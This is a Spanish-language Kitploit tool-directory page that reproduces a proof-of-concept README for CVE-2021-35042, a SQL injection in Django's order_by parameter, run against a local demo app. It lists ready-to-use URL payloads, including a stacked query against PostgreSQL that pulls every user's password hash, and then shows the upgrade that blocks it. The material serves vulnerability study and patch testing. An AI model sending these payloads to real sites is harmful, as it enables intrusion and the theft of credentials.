Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-35042 — Prueba de concepto interactiva que demuestra la inyección SQL en Django (CVE-2021-35042) con explotación paso a paso contra bases de datos SQLite y PostgreSQL. | Kitploit
Herramientas/GitHubGitHub/r4vi/cve-2021-35042
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Prueba de concepto interactiva que demuestra la inyección SQL en Django (CVE-2021-35042) con explotación paso a paso contra bases de datos SQLite y PostgreSQL.

Ver Repositorio
51hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-35042

Bug de inyección SQL en Django

Pregunta: ¿hasta qué punto es explotable?

Respuesta: estoy aterrorizado

Instalación

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Demo interactiva

poetry run ./manage.py runserver

Ordenar por campos aleatorios

ve a http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 ten en cuenta que el parámetro ?order_by está pasando una referencia SQL en bruto a una columna "core_things_tags"."things_id"

termina la primera consulta e intenta ejecutar algo de SQL

Esto se siente como lo más lejos que puedes llegar: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- que cierra la primera consulta SQL y se traduce al siguiente SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

que falla con:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

esto es solo porque sqlite solo puede ejecutar 1 consulta a la vez

revisitar la ejecución de una segunda consulta con postgres

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # sigue las indicaciones

visita: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

que ejecuta el siguiente sql:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

ahora puedes hacer básicamente cualquier cosa. Esta consulta roba el hash de la contraseña de cada usuario.

Actualizar a una versión no vulnerable

ahora actualiza django temporalmente

poetry shell

pip install Django==3.2.5

revisita la URL anterior y observa que ya no funciona:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
Descargar herramienta